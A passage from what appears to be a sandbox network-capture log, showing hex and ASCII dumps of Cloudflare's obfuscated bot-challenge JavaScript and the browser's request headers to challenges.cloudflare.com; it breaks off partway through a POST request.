2025-01-14 16:25:13 UTC	1369	IN	Data Raw: 29 2c 27 50 61 72 78 49 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 21 3d 68 7d 2c 27 59 75 50 6e 70 27 3a 67 4b 28 31 35 39 37 29 2c 27 6d 64 68 66 4d 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 2a 68 7d 2c 27 42 58 6e 7a 5a 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 21 3d 68 7d 2c 27 6a 7a 57 58 78 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 26 68 7d 2c 27 61 6f 6a 57 4e 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 68 51 49 73 59 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3e 69 7d 2c 27 6c 69 44 68 4d 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 Data Ascii: ),'ParxI':function(h,i){return i!=h},'YuPnp':gK(1597),'mdhfM':function(h,i){return i*h},'BXnzZ':function(h,i){return i!=h},'jzWXx':function(h,i){return i&h},'aojWN':function(h,i){return h(i)},'hQIsY':function(h,i){return h>i},'liDhM':function(h,i){return
2025-01-14 16:25:13 UTC	1369	IN	Data Raw: 69 73 2e 67 2a 4f 5b 67 4f 28 31 32 36 32 29 5d 28 29 7c 2e 35 36 2c 6f 2b 2b 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 32 27 3a 74 68 69 73 2e 68 5b 6b 5b 67 4f 28 37 36 35 29 5d 28 31 39 37 2c 74 68 69 73 2e 67 29 5d 3d 59 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 33 27 3a 74 68 69 73 2e 68 3d 6b 5b 67 4f 28 38 33 36 29 5d 28 4d 2c 32 35 36 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 34 27 3a 74 68 69 73 2e 68 5b 6b 5b 67 4f 28 37 36 35 29 5d 28 32 32 34 2c 74 68 69 73 2e 67 29 5d 3d 61 61 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 35 27 3a 74 68 69 73 2e 67 3d 31 2b 33 65 34 2a 4e 5b 67 4f 28 31 32 36 32 29 5d 28 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 36 27 3a 74 68 69 73 2e 68 5b 6b 5b 67 4f 28 37 36 35 29 5d 28 31 39 2c 74 68 Data Ascii: is.gO[gO(1262)]()\|.56,o++);continue;case'2':this.h[k[gO(765)](197,this.g)]=Y;continue;case'3':this.h=k[gO(836)](M,256);continue;case'4':this.h[k[gO(765)](224,this.g)]=aa;continue;case'5':this.g=1+3e4N[gO(1262)]();continue;case'6':this.h[k[gO(765)](19,th
2025-01-14 16:25:13 UTC	1369	IN	Data Raw: 28 37 36 39 29 5d 5b 67 54 28 32 39 36 29 5d 5b 67 54 28 31 33 30 32 29 5d 28 78 2c 4c 29 29 43 3d 4c 3b 65 6c 73 65 7b 69 66 28 4f 62 6a 65 63 74 5b 67 54 28 37 36 39 29 5d 5b 67 54 28 32 39 36 29 5d 5b 67 54 28 31 33 30 32 29 5d 28 42 2c 43 29 29 7b 69 66 28 32 35 36 3e 43 5b 67 54 28 39 31 33 29 5d 28 30 29 29 7b 66 6f 72 28 73 3d 30 3b 64 5b 67 54 28 34 30 30 29 5d 28 73 2c 46 29 3b 48 3c 3c 3d 31 2c 6a 2d 31 3d 3d 49 3f 28 49 3d 30 2c 47 5b 67 54 28 39 39 31 29 5d 28 6f 28 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 73 2b 2b 29 3b 66 6f 72 28 4d 3d 43 5b 67 54 28 39 31 33 29 5d 28 30 29 2c 73 3d 30 3b 38 3e 73 3b 48 3d 31 26 4d 7c 48 3c 3c 31 2c 49 3d 3d 64 5b 67 54 28 32 33 36 29 5d 28 6a 2c 31 29 3f 28 49 3d 30 2c 47 5b 67 54 28 39 39 31 29 5d 28 6f 28 Data Ascii: (769)][gT(296)][gT(1302)](x,L))C=L;else{if(Object[gT(769)][gT(296)][gT(1302)](B,C)){if(256>C[gT(913)](0)){for(s=0;d[gT(400)](s,F);H<<=1,j-1==I?(I=0,G[gT(991)](o(H)),H=0):I++,s++);for(M=C[gT(913)](0),s=0;8>s;H=1&M\|H<<1,I==d[gT(236)](j,1)?(I=0,G[gT(991)](o(
2025-01-14 16:25:13 UTC	1369	IN	Data Raw: 2c 31 29 3f 28 49 3d 30 2c 47 5b 67 54 28 39 39 31 29 5d 28 6f 28 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4d 3e 3e 3d 31 2c 73 2b 2b 29 3b 44 2d 2d 2c 30 3d 3d 44 26 26 46 2b 2b 7d 66 6f 72 28 4d 3d 32 2c 73 3d 30 3b 64 5b 67 54 28 37 31 39 29 5d 28 73 2c 46 29 3b 48 3d 64 5b 67 54 28 32 33 39 29 5d 28 48 2c 31 29 7c 4d 26 31 2c 6a 2d 31 3d 3d 49 3f 28 49 3d 30 2c 47 5b 67 54 28 39 39 31 29 5d 28 6f 28 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4d 3e 3e 3d 31 2c 73 2b 2b 29 3b 66 6f 72 28 3b 3b 29 69 66 28 48 3c 3c 3d 31 2c 49 3d 3d 6a 2d 31 29 7b 47 5b 67 54 28 39 39 31 29 5d 28 6f 28 48 29 29 3b 62 72 65 61 6b 7d 65 6c 73 65 20 49 2b 2b 3b 72 65 74 75 72 6e 20 47 5b 67 54 28 31 35 30 32 29 5d 28 27 27 29 7d 2c 27 6a 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 67 Data Ascii: ,1)?(I=0,G[gT(991)](o(H)),H=0):I++,M>>=1,s++);D--,0==D&&F++}for(M=2,s=0;d[gT(719)](s,F);H=d[gT(239)](H,1)\|M&1,j-1==I?(I=0,G[gT(991)](o(H)),H=0):I++,M>>=1,s++);for(;;)if(H<<=1,I==j-1){G[gT(991)](o(H));break}else I++;return G[gT(1502)]('')},'j':function(h,g
2025-01-14 16:25:13 UTC	1369	IN	Data Raw: 38 29 5d 5d 26 26 28 55 3d 7b 7d 2c 55 5b 67 57 28 39 38 36 29 5d 3d 64 5b 67 57 28 38 37 37 29 5d 2c 55 5b 67 57 28 34 33 35 29 5d 3d 43 5b 67 57 28 37 38 37 29 5d 5b 67 57 28 31 34 32 38 29 5d 2c 55 5b 67 57 28 31 33 33 35 29 5d 3d 67 57 28 38 39 30 29 2c 55 5b 67 57 28 31 35 30 31 29 5d 3d 44 2c 42 5b 67 57 28 31 31 35 34 29 5d 5b 67 57 28 36 32 35 29 5d 28 55 2c 27 2a 27 29 29 3b 73 77 69 74 63 68 28 4d 29 7b 63 61 73 65 20 30 3a 66 6f 72 28 4d 3d 30 2c 4e 3d 4d 61 74 68 5b 67 57 28 33 30 39 29 5d 28 32 2c 38 29 2c 49 3d 31 3b 64 5b 67 57 28 33 30 32 29 5d 28 49 2c 4e 29 3b 51 3d 64 5b 67 57 28 31 30 36 37 29 5d 28 4a 2c 4b 29 2c 4b 3e 3e 3d 31 2c 4b 3d 3d 30 26 26 28 4b 3d 6f 2c 4a 3d 73 28 4c 2b 2b 29 29 2c 4d 7c 3d 28 30 3c 51 3f 31 3a 30 29 2a 49 Data Ascii: 8)]]&&(U={},U[gW(986)]=d[gW(877)],U[gW(435)]=C[gW(787)][gW(1428)],U[gW(1335)]=gW(890),U[gW(1501)]=D,B[gW(1154)][gW(625)](U,''));switch(M){case 0:for(M=0,N=Math[gW(309)](2,8),I=1;d[gW(302)](I,N);Q=d[gW(1067)](J,K),K>>=1,K==0&&(K=o,J=s(L++)),M\|=(0<Q?1:0)I
2025-01-14 16:25:13 UTC	1369	IN	Data Raw: 2a 27 29 7d 7d 7d 2c 67 3d 7b 7d 2c 67 5b 67 4b 28 36 34 35 29 5d 3d 66 2e 68 2c 67 7d 28 29 2c 65 4d 5b 67 4a 28 32 38 32 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 68 39 2c 65 29 7b 65 3d 28 68 39 3d 67 4a 2c 7b 27 59 4c 6f 75 6c 27 3a 66 75 6e 63 74 69 6f 6e 28 67 2c 68 29 7b 72 65 74 75 72 6e 20 67 28 68 29 7d 2c 27 71 66 69 6c 69 27 3a 66 75 6e 63 74 69 6f 6e 28 67 2c 68 29 7b 72 65 74 75 72 6e 20 67 28 68 29 7d 7d 29 3b 74 72 79 7b 69 66 28 68 39 28 32 31 37 29 21 3d 3d 68 39 28 32 31 37 29 29 65 5b 68 39 28 31 33 30 35 29 5d 28 65 2c 63 2e 69 64 29 3b 65 6c 73 65 20 72 65 74 75 72 6e 20 65 5b 68 39 28 38 32 33 29 5d 28 65 52 2c 63 29 7d 63 61 74 63 68 28 68 29 7b 72 65 74 75 72 6e 20 65 5b 68 39 28 31 33 30 35 29 5d 28 65 50 2c 65 51 28 63 29 29 7d Data Ascii: *')}}},g={},g[gK(645)]=f.h,g}(),eM[gJ(282)]=function(c,h9,e){e=(h9=gJ,{'YLoul':function(g,h){return g(h)},'qfili':function(g,h){return g(h)}});try{if(h9(217)!==h9(217))e[h9(1305)](e,c.id);else return e[h9(823)](eR,c)}catch(h){return e[h9(1305)](eP,eQ(c))}
2025-01-14 16:25:13 UTC	1369	IN	Data Raw: 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 68 2c 69 2c 68 68 2c 6a 2c 6b 2c 6c 2c 6d 2c 6e 2c 6f 29 7b 66 6f 72 28 68 68 3d 67 4a 2c 6a 3d 7b 7d 2c 6a 5b 68 68 28 31 34 31 33 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 73 2c 76 29 7b 72 65 74 75 72 6e 20 73 2b 76 7d 2c 6a 5b 68 68 28 31 31 30 37 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 73 2c 76 29 7b 72 65 74 75 72 6e 20 73 3c 76 7d 2c 6a 5b 68 68 28 31 33 34 31 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 73 2c 76 29 7b 72 65 74 75 72 6e 20 73 3d 3d 3d 76 7d 2c 6a 5b 68 68 28 31 31 32 31 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 73 2c 76 29 7b 72 65 74 75 72 6e 20 73 2b 76 7d 2c 6b 3d 6a 2c 6c 3d 4f 62 6a 65 63 74 5b 68 68 28 36 35 38 29 5d 28 69 29 2c 6d 3d 30 3b 6b 5b 68 68 28 31 31 30 37 29 5d 28 6d 2c 6c 5b 68 68 28 36 35 32 29 5d 29 Data Ascii: )]=function(h,i,hh,j,k,l,m,n,o){for(hh=gJ,j={},j[hh(1413)]=function(s,v){return s+v},j[hh(1107)]=function(s,v){return s<v},j[hh(1341)]=function(s,v){return s===v},j[hh(1121)]=function(s,v){return s+v},k=j,l=Object[hh(658)](i),m=0;k[hh(1107)](m,l[hh(652)])

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	51389	104.18.95.41	443	8144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 16:25:14 UTC	433	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=901efb0f7f1b5e5f&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 16:25:14 UTC	331	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 16:25:14 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 116816 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 901efb19b94e7cac-EWR alt-svc: h3=":443"; ma=86400
2025-01-14 16:25:14 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 55 52 61 4f 61 38 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 70 72 69 76 61 63 79 70 6f 6c 69 63 79 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 77 65 62 73 69 74 65 2d 74 65 72 6d 73 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.URaOa8={"metadata":{"challenge.privacy_link":"https%3A%2F%2Fwww.cloudflare.com%2Fprivacypolicy%2F","challenge.terms":"https%3A%2F%2Fwww.cloudflare.com%2Fwebsite-terms%2F","challenge.supported_browsers":"http
2025-01-14 16:25:14 UTC	1369	IN	Data Raw: 74 69 6c 65 5f 69 66 72 61 6d 65 5f 61 6c 74 22 3a 22 57 69 64 67 65 74 25 32 30 63 6f 6e 74 61 69 6e 69 6e 67 25 32 30 61 25 32 30 43 6c 6f 75 64 66 6c 61 72 65 25 32 30 73 65 63 75 72 69 74 79 25 32 30 63 68 61 6c 6c 65 6e 67 65 22 2c 22 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 5f 6f 75 74 70 75 74 5f 73 75 62 74 69 74 6c 65 22 3a 22 59 6f 75 72 25 32 30 66 65 65 64 62 61 63 6b 25 32 30 72 65 70 6f 72 74 25 32 30 68 61 73 25 32 30 62 65 65 6e 25 32 30 73 75 63 63 65 73 73 66 75 6c 6c 79 25 32 30 73 75 62 6d 69 74 74 65 64 22 2c 22 69 6e 76 61 6c 69 64 5f 73 69 74 65 6b 65 79 22 3a 22 49 6e 76 61 6c 69 64 25 32 30 73 69 74 65 6b 65 79 2e 25 32 30 43 6f 6e 74 61 63 74 25 32 30 74 68 65 25 32 30 53 69 74 65 25 32 30 41 64 6d 69 6e 69 73 74 72 61 74 6f Data Ascii: tile_iframe_alt":"Widget%20containing%20a%20Cloudflare%20security%20challenge","feedback_report_output_subtitle":"Your%20feedback%20report%20has%20been%20successfully%20submitted","invalid_sitekey":"Invalid%20sitekey.%20Contact%20the%20Site%20Administrato
2025-01-14 16:25:14 UTC	1369	IN	Data Raw: 2c 66 55 2c 66 56 2c 66 5a 2c 67 30 2c 67 33 2c 67 34 2c 67 41 2c 67 48 2c 67 31 2c 67 32 29 7b 66 6f 72 28 67 4a 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 67 49 2c 65 2c 66 29 7b 66 6f 72 28 67 49 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 2d 70 61 72 73 65 49 6e 74 28 67 49 28 38 34 30 29 29 2f 31 2b 70 61 72 73 65 49 6e 74 28 67 49 28 38 31 39 29 29 2f 32 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 34 35 37 29 29 2f 33 29 2b 70 61 72 73 65 49 6e 74 28 67 49 28 31 34 35 33 29 29 2f 34 2b 70 61 72 73 65 49 6e 74 28 67 49 28 37 32 34 29 29 2f 35 2b 70 61 72 73 65 49 6e 74 28 67 49 28 31 33 34 38 29 29 2f 36 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 31 32 39 30 29 29 2f 37 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 Data Ascii: ,fU,fV,fZ,g0,g3,g4,gA,gH,g1,g2){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=-parseInt(gI(840))/1+parseInt(gI(819))/2(-parseInt(gI(1457))/3)+parseInt(gI(1453))/4+parseInt(gI(724))/5+parseInt(gI(1348))/6(parseInt(gI(1290))/7)+-parseInt(gI(
2025-01-14 16:25:14 UTC	1369	IN	Data Raw: 5d 29 7b 63 61 73 65 27 30 27 3a 69 66 28 21 42 29 72 65 74 75 72 6e 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 31 27 3a 6d 3d 28 6c 3d 7b 7d 2c 6c 5b 67 4d 28 31 36 31 37 29 5d 3d 65 4d 5b 67 4d 28 31 35 34 33 29 5d 5b 67 4d 28 31 36 31 37 29 5d 2c 6c 5b 67 4d 28 31 34 31 30 29 5d 3d 65 4d 5b 67 4d 28 31 35 34 33 29 5d 5b 67 4d 28 31 34 31 30 29 5d 2c 6c 5b 67 4d 28 31 35 36 30 29 5d 3d 65 4d 5b 67 4d 28 31 35 34 33 29 5d 5b 67 4d 28 31 35 36 30 29 5d 2c 6c 5b 67 4d 28 31 33 36 38 29 5d 3d 65 4d 5b 67 4d 28 31 35 34 33 29 5d 5b 67 4d 28 36 39 37 29 5d 2c 6c 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 32 27 3a 6e 3d 69 5b 67 4d 28 36 36 31 29 5d 28 69 5b 67 4d 28 36 30 34 29 5d 28 69 5b 67 4d 28 31 33 33 37 29 5d 28 69 5b 67 4d 28 31 33 38 37 29 5d Data Ascii: ]){case'0':if(!B)return;continue;case'1':m=(l={},l[gM(1617)]=eM[gM(1543)][gM(1617)],l[gM(1410)]=eM[gM(1543)][gM(1410)],l[gM(1560)]=eM[gM(1543)][gM(1560)],l[gM(1368)]=eM[gM(1543)][gM(697)],l);continue;case'2':n=i[gM(661)](i[gM(604)](i[gM(1337)](i[gM(1387)]
2025-01-14 16:25:14 UTC	1369	IN	Data Raw: 2c 27 52 66 68 62 78 27 3a 67 4e 28 36 34 39 29 2c 27 41 42 78 49 4a 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 2c 73 29 7b 72 65 74 75 72 6e 20 6e 28 6f 2c 73 29 7d 7d 2c 65 5b 67 4e 28 34 37 38 29 5d 28 64 2c 45 72 72 6f 72 29 29 3f 67 4e 28 31 37 35 31 29 3d 3d 3d 67 4e 28 36 35 39 29 3f 64 5b 67 4e 28 31 31 34 36 29 5d 5b 67 4e 28 37 30 35 29 5d 3d 21 21 5b 5d 3a 28 66 3d 64 5b 67 4e 28 37 34 33 29 5d 2c 64 5b 67 4e 28 31 37 37 30 29 5d 26 26 65 5b 67 4e 28 34 39 38 29 5d 28 74 79 70 65 6f 66 20 64 5b 67 4e 28 31 37 37 30 29 5d 2c 67 4e 28 35 38 33 29 29 29 26 26 28 6a 3d 64 5b 67 4e 28 31 37 37 30 29 5d 5b 67 4e 28 33 38 37 29 5d 28 27 5c 6e 27 29 2c 65 5b 67 4e 28 31 30 36 32 29 5d 28 6a 5b 67 4e 28 31 30 38 37 29 5d 2c 31 29 29 26 26 28 6b 3d 2f 5e Data Ascii: ,'Rfhbx':gN(649),'ABxIJ':function(n,o,s){return n(o,s)}},e[gN(478)](d,Error))?gN(1751)===gN(659)?d[gN(1146)][gN(705)]=!![]:(f=d[gN(743)],d[gN(1770)]&&e[gN(498)](typeof d[gN(1770)],gN(583)))&&(j=d[gN(1770)][gN(387)]('\n'),e[gN(1062)](j[gN(1087)],1))&&(k=/^
2025-01-14 16:25:14 UTC	1369	IN	Data Raw: 31 36 38 33 29 2c 66 3d 65 2c 67 3d 64 5b 68 78 28 37 32 31 29 5d 2c 67 26 26 67 5b 68 78 28 37 34 35 29 5d 3d 3d 3d 68 78 28 39 35 36 29 26 26 67 5b 68 78 28 31 36 35 33 29 5d 3d 3d 3d 68 78 28 34 30 39 29 3f 66 72 3d 73 65 74 49 6e 74 65 72 76 61 6c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 52 28 29 7d 2c 31 65 33 29 3a 67 26 26 67 5b 68 78 28 37 34 35 29 5d 3d 3d 3d 66 5b 68 78 28 31 30 30 31 29 5d 26 26 66 5b 68 78 28 31 34 38 34 29 5d 28 67 5b 68 78 28 31 36 35 33 29 5d 2c 66 5b 68 78 28 31 30 35 36 29 5d 29 26 26 63 6c 65 61 72 49 6e 74 65 72 76 61 6c 28 66 72 29 7d 29 2c 66 74 3d 21 5b 5d 2c 21 65 55 28 67 4a 28 31 33 39 30 29 29 26 26 28 66 52 28 29 2c 73 65 74 49 6e 74 65 72 76 61 6c 28 66 75 6e 63 74 69 6f 6e 28 69 34 2c 64 2c 65 2c 66 2c 67 29 7b Data Ascii: 1683),f=e,g=d[hx(721)],g&&g[hx(745)]===hx(956)&&g[hx(1653)]===hx(409)?fr=setInterval(function(){fR()},1e3):g&&g[hx(745)]===f[hx(1001)]&&f[hx(1484)](g[hx(1653)],f[hx(1056)])&&clearInterval(fr)}),ft=![],!eU(gJ(1390))&&(fR(),setInterval(function(i4,d,e,f,g){
2025-01-14 16:25:14 UTC	1369	IN	Data Raw: 33 35 2b 36 35 35 33 35 2c 32 35 35 29 29 29 29 3b 72 65 74 75 72 6e 20 69 5b 69 36 28 34 30 33 29 5d 28 27 27 29 7d 2c 66 55 3d 7b 7d 2c 66 55 5b 67 4a 28 34 34 34 29 5d 3d 27 6f 27 2c 66 55 5b 67 4a 28 35 38 33 29 5d 3d 27 73 27 2c 66 55 5b 67 4a 28 31 36 38 32 29 5d 3d 27 75 27 2c 66 55 5b 67 4a 28 36 35 33 29 5d 3d 27 7a 27 2c 66 55 5b 67 4a 28 31 30 34 33 29 5d 3d 27 6e 27 2c 66 55 5b 67 4a 28 37 34 32 29 5d 3d 27 49 27 2c 66 55 5b 67 4a 28 31 33 35 32 29 5d 3d 27 62 27 2c 66 56 3d 66 55 2c 65 4d 5b 67 4a 28 31 35 33 32 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 67 2c 68 2c 69 2c 6a 2c 69 62 2c 6f 2c 78 2c 42 2c 43 2c 44 2c 45 2c 46 29 7b 69 66 28 69 62 3d 67 4a 2c 6f 3d 7b 27 66 61 55 59 65 27 3a 69 62 28 31 35 37 31 29 2c 27 67 4f 58 57 58 27 3a 69 62 28 Data Ascii: 35+65535,255))));return i[i6(403)]('')},fU={},fU[gJ(444)]='o',fU[gJ(583)]='s',fU[gJ(1682)]='u',fU[gJ(653)]='z',fU[gJ(1043)]='n',fU[gJ(742)]='I',fU[gJ(1352)]='b',fV=fU,eM[gJ(1532)]=function(g,h,i,j,ib,o,x,B,C,D,E,F){if(ib=gJ,o={'faUYe':ib(1571),'gOXWX':ib(
2025-01-14 16:25:14 UTC	1369	IN	Data Raw: 28 31 37 35 36 29 5d 28 69 29 2c 6d 3d 30 3b 6d 3c 6c 5b 69 65 28 31 30 38 37 29 5d 3b 6d 2b 2b 29 69 66 28 6e 3d 6c 5b 6d 5d 2c 27 66 27 3d 3d 3d 6e 26 26 28 6e 3d 27 4e 27 29 2c 68 5b 6e 5d 29 7b 66 6f 72 28 6f 3d 30 3b 6b 5b 69 65 28 31 36 30 39 29 5d 28 6f 2c 69 5b 6c 5b 6d 5d 5d 5b 69 65 28 31 30 38 37 29 5d 29 3b 2d 31 3d 3d 3d 68 5b 6e 5d 5b 69 65 28 35 39 38 29 5d 28 69 5b 6c 5b 6d 5d 5d 5b 6f 5d 29 26 26 28 67 30 28 69 5b 6c 5b 6d 5d 5d 5b 6f 5d 29 7c 7c 68 5b 6e 5d 5b 69 65 28 35 31 30 29 5d 28 6b 5b 69 65 28 34 39 31 29 5d 28 27 6f 2e 27 2c 69 5b 6c 5b 6d 5d 5d 5b 6f 5d 29 29 29 2c 6f 2b 2b 29 3b 7d 65 6c 73 65 20 68 5b 6e 5d 3d 69 5b 6c 5b 6d 5d 5d 5b 69 65 28 39 38 37 29 5d 28 66 75 6e 63 74 69 6f 6e 28 73 2c 69 69 2c 76 29 7b 69 66 28 69 69 Data Ascii: (1756)](i),m=0;m<l[ie(1087)];m++)if(n=l[m],'f'===n&&(n='N'),h[n]){for(o=0;k[ie(1609)](o,i[l[m]][ie(1087)]);-1===h[n][ie(598)](i[l[m]][o])&&(g0(i[l[m]][o])\|\|h[n][ie(510)](k[ie(491)]('o.',i[l[m]][o]))),o++);}else h[n]=i[l[m]][ie(987)](function(s,ii,v){if(ii
2025-01-14 16:25:14 UTC	1369	IN	Data Raw: 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 3c 69 7d 2c 27 51 52 52 79 6d 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 26 68 7d 2c 27 76 6a 56 46 70 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 7c 68 7d 2c 27 4c 59 6a 59 75 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 3c 69 7d 2c 27 70 78 58 4a 58 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2d 69 7d 2c 27 49 72 77 61 55 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3d 3d 69 7d 2c 27 69 48 64 75 51 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 26 69 7d 2c 27 52 6e 50 68 51 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 Data Ascii: n(h,i){return h<<i},'QRRym':function(h,i){return i&h},'vjVFp':function(h,i){return i\|h},'LYjYu':function(h,i){return h<<i},'pxXJX':function(h,i){return h-i},'IrwaU':function(h,i){return h==i},'iHduQ':function(h,i){return h&i},'RnPhQ':function(h,i){return
2025-01-14 16:25:14 UTC	1369	IN	Data Raw: 6a 7a 29 7b 72 65 74 75 72 6e 20 6a 7a 3d 6a 79 2c 6a 7a 28 31 31 39 33 29 5b 6a 7a 28 31 33 38 30 29 5d 28 69 29 7d 29 7d 2c 27 67 27 3a 66 75 6e 63 74 69 6f 6e 28 69 2c 6a 2c 6f 2c 6a 43 2c 73 2c 50 2c 78 2c 42 2c 43 2c 44 2c 45 2c 46 2c 47 2c 48 2c 49 2c 4a 2c 4b 2c 52 2c 53 2c 54 2c 4c 2c 4d 2c 51 2c 4e 2c 58 2c 59 29 7b 69 66 28 6a 43 3d 6a 78 2c 73 3d 7b 27 43 6d 7a 7a 56 27 3a 66 75 6e 63 74 69 6f 6e 28 4f 2c 50 2c 6a 41 29 7b 72 65 74 75 72 6e 20 6a 41 3d 62 2c 64 5b 6a 41 28 31 35 35 30 29 5d 28 4f 2c 50 29 7d 2c 27 4b 63 53 76 4f 27 3a 66 75 6e 63 74 69 6f 6e 28 4f 2c 50 29 7b 72 65 74 75 72 6e 20 50 7c 4f 7d 2c 27 72 55 64 4d 6e 27 3a 66 75 6e 63 74 69 6f 6e 28 4f 2c 50 29 7b 72 65 74 75 72 6e 20 4f 3c 3c 50 7d 2c 27 61 74 4d 59 58 27 3a 66 75 Data Ascii: jz){return jz=jy,jz(1193)[jz(1380)](i)})},'g':function(i,j,o,jC,s,P,x,B,C,D,E,F,G,H,I,J,K,R,S,T,L,M,Q,N,X,Y){if(jC=jx,s={'CmzzV':function(O,P,jA){return jA=b,d[jA(1550)](O,P)},'KcSvO':function(O,P){return P\|O},'rUdMn':function(O,P){return O<<P},'atMYX':fu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	51390	104.18.94.41	443	8144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 16:25:14 UTC	1171	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1584592966:1736867726:NPNXQv2vLhedVg3BHjiw19fkli-qalioRMTGQKWJ26k/901efb0f7f1b5e5f/0hG5y7TNaH6O9zMpmvl7FbRgLrE1AMToSi.kBYo05Fo-1736871912-1.1.1.1-a7u6Qpc5jm8A3.eIVdrPWRDR0WL41.8nS8DTeoVmB5rgbFoTwr7CASB2OZCwljLF HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 3579 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: 0hG5y7TNaH6O9zMpmvl7FbRgLrE1AMToSi.kBYo05Fo-1736871912-1.1.1.1-a7u6Qpc5jm8A3.eIVdrPWRDR0WL41.8nS8DTeoVmB5rgbFoTwr7CASB2OZCwljLF sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: 